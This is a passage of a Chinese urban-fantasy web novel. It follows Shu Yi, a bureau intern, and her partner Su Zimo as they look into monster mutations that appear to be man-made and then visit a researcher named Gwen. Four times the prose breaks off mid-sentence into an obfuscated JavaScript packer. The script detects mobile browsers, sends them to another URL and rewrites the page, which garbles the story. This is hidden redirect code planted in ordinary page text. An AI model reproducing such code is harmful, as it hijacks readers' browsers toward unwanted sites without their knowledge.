苏子沫轻笑一声,没有说话。舒懿突然注意到,他的瞳孔好像是黑色的,大概是戴了美瞳。 不过她也没心思探究为什么。 因为是要谈事情,两人就随便到外面找了一家咖啡厅,选择了个单独的包间坐下。苏子沫要看菜单,她一把抢过,先点了一份清淡的简餐。 “我已经看透了,绝对不能让你这货先拿到菜单,”舒懿言之凿凿,“因为你肯定又要开始问我想要啥……然后再点多余的东西,最后直接帮我付钱!” “这些考量就算照顾吗?假如是这样,照顾人不是很自然的事情?” 苏子沫没看她,除了简餐之外,还要了两份甜点。 “您这样真的用力过猛了……” 舒懿捂住自己的脸。 “啊,不是,我不是说你…只是你这人真的太奇怪了,搞不明白。我们只是搭档,说真的不用做那么多事。唉,严格来讲你也不算做了很多…但是,我真觉得浑身不舒服,反正以后别这样了……诶,不说了。” 她摆了摆手,开始烦躁地咬着彩虹吸管。 苏子沫耐心地听着她的话,交叠了自己的十指:“为什么被照顾还会不乐意?” “……” 舒懿瞪圆了自己的眼睛,叼在嘴里的吸管“啪嗒”一声落回饮料中。 “what fuck?大哥,我现在非常怀疑……啊啊啊?你的脑子是不是有什么认知问题……” 她终于忍不住了,新帐旧帐一起算: “可是我只是搭档而已啊!!!然后还有别人,他们跟你也就顶天了是同事吧?也不是不能帮忙,但是你这很明显就是在替别人打白工啊!!!还是不收钱,吃力不讨好的那种…一想到周扬那种人受着你的照顾和帮忙,背地里都在说你是……啊啊啊!我就想锤爆他们的狗头!” 苏子沫把甜点往她的方向推近了一些,慢条斯理地说: “他们也没说错啊。” “我去??你真的知道他们怎么说你的吗……靠!烦死了,对,就是你这种对自己漠不关心的态度,艹!!!”舒懿真的很崩溃。 “我当然知道。” “……” 她一副生无可恋的神情,开始猛搅自己的饮料,然后盯着旋转的泡沫发呆。 “不用担心我。无非就是一些无伤大雅的话,成熟一点,不要生气。而且,这也和你没有关系,不会影响你。” 苏子沫无所谓地笑笑。 “无伤大雅……哈,哈哈……我看透了,苏子沫,你就是一个傻呗冤大头……反正你啥也不知道,啥也不在乎……要和我说什么就快点说吧,不想见到你,拜拜。” “嗯,首先是检验报告。” 苏子沫用勺子挖了一勺甜点。他这人从不主动吃甜品,除非是顺便,或者是有人统一请客。 “比对结果显示,的确有微量的化学物质,但是实在太少,没办法分离。” “很可疑啊……你们确定周围没有变异源吗?” “没有,这种东西本来就没那么常见,而且往往会被一些强大的怪物控制。根据检验结果,那条地铁蚯蚓的变异体胃里有禽类以及畜类动物的DNA,从这点来看,有被人饲养的可能性。” “嚯,确实是!那么,假设有人搞鬼…他们的目的是什么?” “目的啊……” 苏子沫微微眯起镜片后的眼睛,食指轻轻敲打着桌面。 “估计想制造点什么出来吧。” “我本来觉得有两种可能,要么是想破坏城市的秩序,要么变异体就是目的本身…但是我查阅资料显示,这个城市并不是最佳目标,也没什么特点,暂时可以排除。朝你这个方向思考,他们是想要获得可控的催化变异成体吗?但是我总觉得不太对……”舒懿咬了一口棍状小面包,有些纠结。 “你好好厘清一下思路。” “我觉得,不会仅止于此。” 琥珀色的眼眸直视着他,亮得逼人。 “异常情况已经持续了四个月了,怪物的级别却并没有呈递增趋势…假如制造怪物本身不是目标,那么手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385362|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段才是。也许,他们是想要获得一种控制变异的手段……” 苏子沫放下洁白的瓷勺,深红色的罗宋汤流入瓷勺,像是漫过的血。 他赌对了。这个人,真的很有趣。 “嗯,我同意你的观点。” 苏子沫点点头,说: “单有手段还不够,关键是拿它做什么。” “啊?可能是想制造……”舒懿卡壳了,她发现好像又绕了回来,但…… “变异不仅可以针对怪物,也可以针对人。”苏子沫交叠的双腿换了一下位置,“威胁,控制,当作交易筹码,在黑市上售卖……” “……??!” 舒懿手一抖,差点把手里的勺子弄掉了。可对面的人根本不给她反应的机会,瞥了一眼舒懿空了大半的餐盘,起身结账。 “我都说了不要照顾我……” 舒懿只好悻悻地把手机塞回了口袋:“你是听不懂人话吗?” 她撇撇嘴,溜到前台问了一下价格,然后走出咖啡厅的门。街边的路灯亮着鹅黄色的光,几只飞蛾在灯下盘旋。夜风吹过他的发丝,被灯光染上一层暖暖的浅金色。 真安宁啊。 舒懿望着路灯下的背影,突然不想破坏这份宁静。她打算悄悄溜走,可刚刚迈步,就被他叫住了。 “我打车了,送你回家。” “你这个人!” 舒懿真的生气了。她怒气冲冲地凑过去,语气不善地打算开喷: “老子有手有脚,又不是不会走路——” “处理局的人不喜欢我,其实是有理由的,你不要在意。”苏子沫没有理会她的话,说得很轻松,像是随意提起今天的天气。 “……什么理由。” 苏子沫转过头来,面无表情,映着暖黄灯光的眼睛此时却毫无温度:“你已经听过了。” 舒懿本能地想脱口而出某些对苏子沫这话的质疑,总不可能真的是“杀人犯”吧。可她又从气氛微妙的变化中读出了某种…啊,什么呢?她犹豫了一下,还是没有说出口。 “你不要总把别人想得太好。”青年又开始微笑了,眼睛弯弯的,“被人卖了都要帮人数钱。” 他的语气风轻云淡,确实听不出丝毫的波动,只是在陈述一件微不足道的事实。舒懿心里不是滋味,干脆不说话了。 她更多是在想从处理局了解到的这些信息的问题。难怪最近手机上关于预警的信息变多了,原来真的是案发率在上升,而且只在他们这个城市?貌似还像是有人在诱导怪物的变异,还把它们投放出去…舒懿顿时对生活环境多了种深深的不安全感。 她生活的世界,已经被这些东西悄然改变了。闭眼不去看是不行的……舒懿此刻真的很庆幸自己加入处理局的决定。她固然可以在表面的世界里幸福地生活一辈子,只需要注意手机和广播中的预警避难信息,然后求助政府机关就可以。无非是多了一种小型但相对频繁的灾害……普通人的生活还是一样过下去。 可是经历过那次事故的舒懿却知道,并不是的。普通人的生活能过下去,只是因为灾难没有确切地降临到自己头上而已。 她一定要好好查清这件事,保护身边的人。 9. 赵晓兰 回到家已经晚上7点多了,她才刚开门,就被客厅里赵女士批头怼了一句: “又皮去哪儿玩啦?我说一一你今天也没给阿杜帮忙,又搁哪犄角旮旯地去啦?现在外面可危险,你一个小孩子,不读书想先挣点钱就已经很不好了,你真觉得我们家没有给你读书的钱?记着不要老是跑来跑去的。” 赵女士喊的是她小名。刚好她生日就在九月份的十一号,又和她名字谐音,叫着顺口。 阿杜是她奶奶认识的一个亲戚,在做些餐饮方面的生意。本来舒懿是在跟着他,做些服务员之类的工作给他帮忙。话虽如此,阿杜也很心疼这孩子,有时候不来也不会有事。 舒懿关上门,本能地直挺挺僵成了一块板,嘴巴上却还是很硬,丝毫不慌:“我找到其他工作了。等下我会和阿杜讲好后面的事,今天晚是因为刚入职……” “什么工作?你要注意呀,一一,什么正经工作会收你这样的小孩啊?别是什么危险的事,你就跟着阿杜做,钱给的也公道,又安全,这样我们放心点。” 赵女士全名赵晓兰,是一位已退休的高中教师,教语文。虽然年近70,身材瘦小,但身体还硬朗,不是个古板的老太太,心思活络得很。若非如此,她也不可能最后同意自家这根独苗苗这种“违背祖宗”的决定。一个高中刚毕业的小孩,虽然家里为了治病确实没啥钱,可再苦也不能苦孩子教育。再说舒懿也争气,考上了重点大学,在这种关键时候想着挣钱分担压力,那才是耽误了呢。可自家舒懿和她爸爸舒行一个犟德性,小嘴叭叭的能讲一堆自己的考虑出来,她说不过这孩子,真能给活活气死。不过看她有理有据知道自己在做什么,也并不是打算一直休学,也就由着她去了。 “是正经的,政府下面的工作。我现在还在实习,有人在带我,不危险。奶奶,我都知道,我自己会看。” “啥政府工作下面会招小孩?” “有给孤儿的福利性质的那种。” 舒懿祈祷赵女士别刨根问底。她父母就是因为怪物导致的灾害事故去世的,赵女士要是知道她加了处理局,非剥了她皮不可。 幸好赵女士没接着问下去,而是开始询问她的吃饭问题。舒懿表示在食堂吃过了,而且食堂饭便宜,以后应该会经常在食堂吃。她趁机给奶奶看了食堂和办公室的照片,增加可信度。 赵女士看起来放心了点,赶她去读书。舒懿就龇牙抬手敬了个礼,像模像样地轻轻一磕后脚跟,报了声“遵命,敬礼!”,给赵晓兰看得直乐。 看着女孩充满活力和自由的身影消失在房门背后,赵晓兰才欣慰地点了点头。 这孩子懂事得要命,像是一把奇异不熄的火,暖呼呼的小太阳,照耀着身边的人。父母的离去没有压垮她,反而让她变得成熟和坚强起来,很多时候反过来还去照顾他们这些老人的情绪。 房门背后,舒懿拉开椅子坐在了桌前,掏出了笔记本,又翻出了手机里录入的通用版怪物图鉴和手册。 处理局预警系统与警方共用,在接到报案或者发现灾害事故的时刻,根据评定的危险等级立即通知相应人员出勤。基层执行员分工并不算特别明确,除了专门的研发人员和技术人员,基本上都要同时完成包括执行任务和书面材料、配合警方调查等一系列工作。 舒懿在笔记本上凭借记忆,歪歪扭扭地画了地铁蚯蚓的样子,又在旁边画了一个原本状态的对比图。尽管在这第一次任务的实战过程几乎全部是由她的搭档完成的,但她并不认为自己作为实习生就全无发挥余地。尽管如此,舒懿的眼神还是黯了黯。 “要是进行更多的实战就好了。” 她并不只想成为一个只是做做书面工作和打杂的后勤人员,但是又清楚知道,自己现阶段是没有能力参与战斗的。舒懿默默地想,苏子沫是能力者,尽管和她基本上同龄,素质却高得吓人。有这样一个搭档,真的感受到了一种压力:那就是如果自己不能跟上他的节奏,无论是思维还是临场行动,自己就会成为拖后腿的一方。 必须补齐自己的实战短板。 舒懿点点头,翻过一页琢磨起了训练计划。 …… 送走舒懿后,苏子沫看了一眼手腕上的黑色电子表。 “才6:56……” 那他就不再打车了。舒懿看起来不太想见到他的样子,苏子沫不清楚她在气什么,但还是别去打扰人比较好。 青年把手插在卫衣口袋里,走过车流不断的大街。沿途的灯光和喧嚣被他甩在身后,在余光中拉出霓虹色的细线,然后闪灭。 他路过一家酒吧。 一个穿着红色连衣裙的年轻女孩从门口摇摇晃晃地跌出来,扶着门口呕吐。只是一瞥,他就看见女孩脸上的浓妆都被哭花了,留下狼藉的印痕。 这个女孩很年轻,大概只有二十……或者更小。应该还是学生,不知道因为什么来了这里,还这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385363|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤心。 这样的女孩会很危险,他知道。有很多卑劣的人面对哭泣的、柔弱的女孩会涌起折磨的欲望,何况她还醉了,处于这样的场所面前。 这一带人已经不多了,苏子沫转过头不去看她,继续往前走。 就在他走到转角时,背后传来一声微弱的惊叫。苏子沫微微侧过头,几个男人从酒吧里出来,正抓着她的手腕,要把她拖到车里去。 像是感受到苏子沫的目光,有个人恶狠狠地抬头瞪了他一眼。 他知道那是什么意思: 不要管闲事。 但同时,属于狩猎者的直觉告诉他,这个人有问题。虽然不是什么技艺精湛的猎手,但也算是尝过血的味道。 只有杀过人的人,才有那种目光。 有可能这些人是惯犯,或许在犯罪的过程中失手弄死了可怜的女孩。也可能是故意,绑架?□□? 苏子沫叹了口气。他拿出手机,开始拨号: “您好,这里有一个女孩要被几个男人拽进车里了,我在阳光酒吧,车牌号是……” “操,不想活了是吧?!” 那个男人发现苏子沫在报警,对着他怒吼。这个时候要是还把她带走就太难了,也不好解释,他们不甘心地呸了一声,随手把女孩推在地上。 “警察五分钟赶到,我劝你们赶快离开。” “闭嘴,五分钟是吧…,至少教训你小子一顿是够了!!!” “您想做什么?”苏子沫又开始叹气了,“考虑考虑自己的前途,别做让自己后悔的事。” “给老子闭嘴!!!” 几个男人围过来,其中一个手里紧紧捏着一个空酒瓶。苏子沫闻到那股令人作呕的酒气,皱了皱眉。 宝石绿的玻璃瓶高高挥起,又落下,反射出一线尖刺状的光芒。 咔嚓。 玻璃啤酒瓶整个炸开了,裂开的棱面闪耀着宝石的幽绿色,鲜红的血珠顺着几粒深深扎入皮肤的碎片往下流淌…… 几个醉酒的男人都懵了,刚刚……酒瓶有碰到他吗? 苏子沫嫌弃地拍了拍自己的领口,瞥了先前那人一眼: “别碰我。” 玻璃碎片扎入皮肤的钝痛此时才浮出水面,仿佛闻到了林中猛兽的味道,几人退后几步,惊恐地远离这个眼神冰冷得刺骨的存在。 他转身离开,没人敢追上去……那种罕见的压迫感简直让人窒息。 10. 苏子沫 他的名字是苏子沫。 “……” 青年转了两圈钥匙,咔哒一声,门开了。 他随手按了一下门边的开关,脱下身上的外套,挂在衣架上。 房子不算很大,但家具装潢都恰到好处,素静简洁的黑白灰设计,墙上挂着几幅毛笔字和写意的山水。书籍是这个房子出镜最多的装饰,在架子上排列得整整齐齐,大多是一些文学作品。茶几上摆放着一只空的玻璃花瓶,墙角有猫爬架,勉强增添了几分活气。 苏子沫来到书房的门前,拧开了门。他从书架上最靠右的位置抽出了一本书,拉开椅子坐下来,然后点亮了台灯,给自己倒了一杯水。 连接电源的烧水壶使用的是保温模式,清澈的水流缓缓注入没有任何图案的马克杯中,冒出丝丝缕缕的白气。 青年靠着椅背,慢慢地喝着。 然后他条件反射地对着面前书桌那面装饰性的小镜子练习了一下笑容: 除开唇角,眼睛和眉毛也随之微微弯起,协调,自然,不显刻意。 镜中的存在看起来像个标准的文科大学生。温和、书卷气、有教养,甚至可以说有些腼腆,但又显得恰到好处。 之后,青年又在一瞬间变得面无表情。 简直像是按下开关,撕下面具,那仿佛刻在脸上的笑容消失得一干二净。苏子沫垂下眼睫,半遮住那双戴了黑色美瞳的眼睛,神情冷漠而厌倦。 尽管已经很熟练,只要有人在他身边,他就能习惯性地保持这样的笑容,但松懈下来还是会觉得疲倦。苏子沫很清楚,不笑的自己有一种危险的气质,从而给对方压迫感,严重时还会吓到人。他很抱歉带来不适,也很不方便,这是应该避免的。 他是个优秀的表演者。 首先,必须要温和、礼貌地对待他人,不管他人是怎么对待自己的,因为这是他的事。再说,大部分不过是些小事。他的能力很强,天生比别人有优势,所以承担得多些很正常,更不能去欺负别人。否则那些对他好的人们…他的老师会很失望的。 以前初中时期苏子沫还会因为忍无可忍和诬陷他的同学动手。 可他能力强度和其他人不同,年少时控制不好力度,有时造成严重的后果。这样不好,人类是很脆弱的,要是下手重一点就会受伤和死亡。而且因为能力,一般发生冲突,大人都更愿意相信其他孩子。特别是在这种事发生后就更是如此。那么他老师就又得为他的事情跑东跑西,他不想这样,很麻烦。 小孩子才会因为小事情绪发作,想要一个所谓公平的结果。不过他现在很自如了,和善从容地处理事件,在必要时施以一定的威慑。 苏子沫眨了眨眼睛,取下月抛的美瞳,再次戴上黑色的圆框眼镜。他不近视,高位的能力者都是这样,基本不会有这种人类的小毛病。 所以这副眼镜是平光的,只是为了给人留下毫无攻击性的印象。 不工作时,苏子沫习惯戴眼镜。而当他在生活中和邻居交流或者是大学面对导师的时候……青年都觉得有意思。根据人们的反应,他会在不经意间调整自己的语言,来照顾对方的感受,让对方感到舒适。人们毫不知情,像在玩一款全真模拟游戏,而真正的他就是游戏之外的操纵者。 青年做事周到,生活中遇到的人根本不会知道他是能力者,在处理局工作。而即使是在工作中,只要交流的是公事,他就都能给人留下一个好印象。 收敛自己的想法,挫平自己的棱角,再用语言包装成为对方利益着想的样子。 都没什么的。 现在的疲惫只是因为绷得久了些,他不会有感觉的……对,苏子沫想。这是他自己选的。那时候,就已经决定一个人面对这一切。 青年有个不为人知的“爱好”,在单独执行任务的时候,喜欢对着必死的任务目标说话。有时他会有些小小的恶趣味,给某些不配合的家伙一些“照顾”。他也知道只有在这时才能感受到愉悦的快感,似乎有点扭曲,也尝试自控过,不过失败了。既然不影响工作,青年也就索性放任了自己这种不怎么健康的解压方式。 不再期望任何东西,不再让任何人失望。 他曾有过不少搭档,多半是些需要镀金的人,当然也有些有天赋的年轻人和普通人,名字已经记不清了。 但他们中的多数人都因为他的年龄和职位而报以轻视和怀疑的态度,把他认真的建议抛之脑后,到头来还得他来为这些人承担后果。而有一部分人更是听到了某些声音,就像躲洪水猛兽一样躲着他,想和他长期搭档躺平的人自然也是存在的。但是苏子沫已经不怪他们了。并不是所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒懿很有意思,但是现在她已经是他的职责,根据原则,青年是不能直接把她置于某些情况中的。他是个负责的人,一向如此。 那就来玩个游戏吧。 如果你输了,就让我看看你是怎么破碎的。 11. 能力体外转化技术 第二天,包括接下来的几天,工作上舒懿就一直在忙报告的事情。 确定了存在人为因素的可能性后,她就一直在处理局和警方两头跑。本来舒懿没有相关权限,是杨铭在帮她对接,她很感激。 她最近没怎么和苏子沫一起出任务,去的几次也没和他说什么多余的话。舒懿把车钱和饭钱打包还给了他,之后就没再发信息,她根本不想理他。 【报告写完了,什么时候来拿。】 备注是“姓苏的脑残”。 舒懿不是无缘无故对这货生气,全是因为那天晚上…… 那晚,他们聊完事情从咖啡厅出来,苏子沫没经过她同意打了车,她只好留下来等。 结果那个家伙不知道发了什么神经,先是告诉她别把他想得太好,然后又毫无征兆地询问她,要不要跳槽。苏子沫说可以帮她向他老师打个招呼,直接把她调到总部或者口碑很好的人那边。 舒懿没控制住发了脾气,差点对他挥了拳头,最后还是放弃了。她对他讲了一堆道理,把这个人从头到脚怼了一遍,表示自己不需要施舍,也不会拖他后腿。 但那个混蛋面无表情地说: 【我不是个好搭档,跟着我委屈你了。】 舒懿差点没被他气死。 之后,这人把她送上了车,自己却不坐,就那么走了。临走之前还俯身诚恳地说: 【我希望你能认真考虑一下。】 舒懿全程都是呆的,被气到没脑子,差点说错地址。从那个晚上起,她就不想和这货说话了。苏子沫对她的照顾她全部还回去,谁要啊? 就算过了好几天,她现在只要想起那个晚上…… “艹!气死人了!” 舒懿狠狠地踹墙,结果自己用力过猛,后退了几小步,还是跌到了地上。她极力忍耐,还是疼得小声吸气。 “……需要我拉你起来吗?” 帆布鞋踏在地板上的脚步声缓缓靠近,她闻声抬起头来。苏子沫微微一提裤腿,弯下腰,对她伸出一只手: “我来拿报告,碰巧。” !晦气,怎么偏偏碰到的就是这脑残?! “不要,滚开。” 舒懿看着苏子沫脸上那副温柔的得体笑容就恼火,毫不客气地一爪子呼过去,拍开他的手: “哟哟哟,现在不洁癖啦?我怀疑你是听不懂人话,不、要、照、顾、我,understand?” 苏子沫也不生气,只是直起身,垂眼看了看自己的手: “那你希望我怎么做。” “不要用力过猛,不要说出让我跳槽这种蠢话。” “这样对你更好。” “……” 舒懿没招了,她把报告递给苏子沫,期间一直翻着白眼。虽然苏子沫表面上看似乎谦和有礼,实际上却有一种刻进骨子里的傲慢,她已经看透了。 苏子沫笑了笑,接过报告。他今天穿着一件深黑的登山冲锋衣,与深灰发色十分相衬,下颌的线条像是用刀削出来的。 就在这时,青年口袋里发出“叮”的一声信息提示音。 他拿出手机,正好一条信息进来。苏子沫点开,脸上云淡风轻,攥着手机的手却更加用力。 他拖着一点声音,有点不情愿似的说: “啧,喂,你跟我走。” 这怎么就心情不好啦? 舒懿眼角一跳,飞快地点点头跟上去,生怕触了这位的什么霉头: “去哪?” 他看起来心情不是很好的时候,整个人让人觉得有点…可怕?咦,奇怪,为什么我会这样觉得…… 苏子沫回过神来,十分敷衍地说:“找一个合作对象。” “你们关系不好?” 她猛地回过神来,懊恼地意识到自己这个问题有点过界,涉及到了他个人。她刚想说不用回答了,苏子沫居然开了口: “不算,只是这个人…啧,处事风格——不对,应该说和我相处的时候他让人不太愉快,其实应该算是个挺厉害的人。格温.冯.格里西斯,是个专门研究能力体外转化技术的人才。这是说,他很擅长将能力与一些科技结合起来,将其固化在外制造一些现有科技水平无法达成的产品。处理局和这人一直签协议保持合作关系,不过他性格古怪不好相处……” 他说到这里顿了顿,手指掐了一下自己的眉心: “不知怎么的我就投了他的眼缘,他跟别人交涉的时候居然特意点了我的名,说以后非合同的谈判,其他指示的下发全由我转达…真想把这货——” 苏子沫默然片刻,截住自己的话音。 说得太多了。 离开处理局后,他站在路边拦了辆出租车,矮下身和师傅低声交谈了几句,商定了价钱。 而后,苏子沫这才转过身来冲舒懿点了一下头,示意她跟着坐进来。 刚坐进出租车,舒懿随口嘀咕了一句: “大傻呗是念动力系吧?为什么不是公交就是出租,飞过去不好吗,还省钱……” 苏子沫那仿佛永远不变的语调从身旁传来: “不是事事都需要用到能力。能用正常手段达成目的的话,那么就最好不要用,否则会让人产生一种自己与众不同的错觉。你倒是眼尖,我确实是能量外放型,念动力者。” 这都能听见!这姓苏的耳朵也好过头了吧?! “呃…你能听见……” 舒懿尴尬得不行,毕竟自己叫人大傻呗被听见,人家还好脾气地一本正经给你解释。 真是拿这个混蛋没辙,明明就很奇怪,还搞得像她的错一样…… “能力带来的小福利。” 苏子沫敲敲自己的耳朵,笑眯眯的。 她不搭话了,一路上保持着沉默。看来以后得注意点,不能在他面前嘀咕…舒懿恨恨地想。 车子驶过繁华的大街,进入人流量较小的郊区。 舒懿把头靠在车窗上,看着渐次闪过的街景发呆。这一次,车子行驶的时间有些长,她的意识开始模糊起来,眼前的景色变得明亮且扭曲…… “我们到了,醒醒。” 苏子沫俯身贴近她,柔声说。 这个声音?对了,她想起来,自己还在车上…… 舒懿猛地睁开眼睛,直起身来,连滚带爬地窜出了车门: “我睡着了……?” “嗯。” “……我有没有歪到你身上。” “没有。” 然而,舒懿甫一出车门,就被那占地偌大的中世纪哥特风别墅闪瞎了眼。她瞬间进化成了一只兴奋过度的没见过世面土包子,只剩下词穷干瞪眼的份。 衣着得体的管家穿着裁剪考究的绅士三件套,还像古典审美的人那样戴了白色的丝手套。他恭恭敬敬垂手站在被幽绿色爬山虎缠满的铁门口,显然是已经等候许久了: “有劳了,欢迎苏先生大驾光临,请由我领您和您的同伴进去吧。” 他说话的用语很奇怪,可又让人一下子挑不出什么毛病。舒懿很惊讶,因为这个人的中文异乎寻常地流利,没有口音。 但苏子沫却丝毫不领情。 “告诉格温,不用搞这些花里胡哨。我不是什么大人物……” 而后,他有点无奈地掰开某人紧张地无意识扯住自己衣服的手指,用一种冷冰冰的口气说: “以及,您假扮管家真的没什么意思。” 管家原本恭敬的神色立马变了。 “唉,好难过~” 他冲苏子沫挤眉弄眼了几下,抛了个媚眼: “这是我今天的新成品,好玩吧?结果这么快就被识破了吗……真不愧是亲爱的小苏苏~~” “假如您想要骗我,应当把能量波动降得更低一点。此外,大人,注意身份。” 他那声音能拖出两米长的波浪线,舒懿听得直起鸡皮疙瘩,满头满脸都是黑线。而且“小苏苏”……她算是明白为啥苏子沫会是一脸苦大仇深的表情了。 “噢——没办法呀,谁让我的原材料就不怎么样。假如小苏苏肯配合一下来当我的实验对象,我保证没人能识破我的技术。” 能力体外转化技术是一项突破时代的科技,因其将能力与机械结合起来将其固化在外而得名。这成功使得普通人也能够获得与能力者相似的战斗力和其他特殊效果,而产品的性质和强度都和帮助完成产品的能力者实验对象相关。 但这项技术目前仅限于军用和处理局执勤时使用,某些研究人员也可以在合作前提下持有许可证,并未便民化。因此舒懿从未听过这项技术,此刻更是充满了好奇。 就在这时,男人身上响起了一阵滋滋声,周身升起一股淡淡的白烟,像是冷水滴在烙铁上。 他身上有什么东西消融了。 舒懿惊奇地发现,面前的这位格温先生露出了截然不同的另一幅面孔。他竟然有一头遮着一侧眼睛的金色卷发和一张英俊的脸,像个古典油画中走出的中世纪贵族。 “您做梦倒是很厉害。”苏子沫冷笑。 “我亲爱的朋友,你还是这副冷冰冰、礼貌又虚伪的模样,真的伤透了我的心。” 男人墨绿色的眼瞳含着宝石的光泽,如同南方的烈日,炽热而灼人。正因如此,没人对他肆无忌惮的话语感到违和。他的骄傲远比他的轻浮和油滑更强烈,拂一照面,就如旗帜在澄蓝的天空鲜明地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385365|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘扬。 “开心点吧?看看你这模样,都要吓到人了。来我这里不好吗?保证给你最好的待遇,何苦在那里浪费生命。” “我们不是朋友。” 格温领着他们向前走,侧过头和苏子沫对话。进入别墅,长廊铺着鲜红色的地毯,墙壁上挂着油画。七七八八的古希腊大理石像和金属饰品放置在走廊两侧,家具装潢高雅古典。 “哼……好吧……对了,这位是谁?眼睛真漂亮,金色晨光,纯净的琥珀石。” 舒懿打了个哆嗦,虽然看苏子沫吃瘪让她有点爽,但她一点也不习惯这种浮夸的肉麻口吻。 “她……” 没等苏子沫回答,格温就抢先插话,用一种理所当然的语气揶揄: “咦,不会吧不会吧?小苏苏,你,把伪善诠释得淋漓尽致的人,永不开化的冰川,居然开始谈恋爱了吗?哈!太阳打西边出来,还是我在做梦?究竟是你那冷冰冰的心被这位小姐的眼睛感化了,还是你终于醒悟了,打算用你这张脸开始招摇撞骗?难以置信,真是难以置信。” “……” 原本前进的脚步骤然停止。 沉默,恐怖而冗长的沉默。 罕见的蓝眼睛仿佛冻结,苏子沫双唇紧闭,面无表情。青年周身溢出某种冰冷、沉重的压迫感,像是刀锋,抵在人的喉间。 舒懿被他吓了一跳,颤颤地退后一步。她从没见过苏子沫这个样子,那一刻青年手背青筋爆跳,她甚至觉得他要对格温动手了。 该死,这怎么就触到了他的什么红线…… 格温知道自己说了不该说的话,可他偏偏要在人的底线上最后再反复横跳几次: “真可悲,你看看自己现在什么样子?苏子沫,你现在在想什么,是不是打算拧下我的头,再去痛恨你自己?你这样真可悲。别吓到人,看起来像个坏人可不是你标榜的风格。诶,不过她居然不是你的恋人,哈哈哈哈,反应这么大?” “要不是您是处理局多年的合作伙伴,我一定不会这么客气。” 出乎意料的,这些话似乎起了些作用。苏子沫眼里危险的光暗淡下去,他用手背擦了擦眼睛,对她勉强笑了笑: “抱歉,刚刚有些失态。” “真难过,苏先生您真是开不起玩笑。” 舒懿皱起了眉头,她也开始觉得不快了。格温是她应当尊敬的大人物,甚至也算是她的上司,舒懿原本打算保持沉默。 但眼下这个情况明显已经过了度。 “嗯……打扰一下,格里西斯先生,您开的‘玩笑’并不适合,也不好笑。” 舒懿打断了发言。 “玩笑只有双方觉得好笑才是幽默风趣,不然只会是尖酸刻薄。没有玩笑,所有玩笑都有认真的成分……对吗?我希望您能尊重人一些,您再这么说下去,我也要生气了。我们不是恋人,只是搭档,他还把我气死了,我不想理他。既然您也比较欣赏他,你们又是同事,您更不应该对苏子沫说这些不合适的话……好了,我们可以开始谈正事了吗?工作的时候就只谈工作。” “好吧,好吧……嗯哼,对不起,给你们带来了困扰。我一向对美丽的女士有求必应。” 格温轻快地笑起来,转过身带路,不再言语了。 “我艹,我现在明白你的感受了,我也不喜欢这个比。他这风格太可怕了,我想喷他。” 舒懿用手肘怼了怼苏子沫的胳膊,嘴角抽搐地对着他耳语。 “喷吧。” “???” 这是苏子沫会说出来的话吗?不应该是没关系一类的吗? “没事,你放心喷,我来防止事态发展。” 舒懿突然觉得苏子沫比平时那副礼貌但疏远的样子可爱多了,也不怕他了,既觉得不道德又忍不住偷笑: “哦哟,原来和谐友善的守法劳模苏子沫同志也会生气啊?” “……” 不会看人脸色的舒懿干咳了一声,用手捂住嘴,企图抑制住克制不住的笑声。然而还是忍不太住,忍得一脸狰狞。 笑死了,你他喵也有今天!哇哈哈哈哈嚯嚯嚯…… “我没有生气。” 青年一字一顿地说。 苏子沫本来看她制止了格温,刚对她有了一点点好感………哈哈。现在他有心想砍死这只猪队友,额角跳出了活泼的小青筋。 “哦……是的,没生气没生气。” 舒懿冲他眨了一下眼,走到他身前。她背着手,小孩子一样蹦蹦跳跳,马尾甩来甩去仿佛小黑猫的尾巴。 “……” 苏子沫真的被她搞得无话可说。没办法,他只能伸手捂住自己的脸,站在原地用力深呼吸。 12. 空间转移装置 “两位请坐。” 终于抵达了目的地,舒懿和苏子沫被客客气气请到了一张华贵的欧式长桌前,拉开椅子坐下。 白色的蕾丝桌布,花瓶里插着成簇的玫瑰,是明丽的浅黄色。看起来像个中世纪贵族的格温先生居然意外地亲民,不仅为他们准备了精致的茶点,还亲自询问了需要什么饮品。 男人将浅白的骨瓷碟子和银叉轻轻放置在两人中间,礼数周到地微微一笑: “请用。至于苏先生,机器做出来的咖啡味道太淡,我还是给你亲手做吧。” 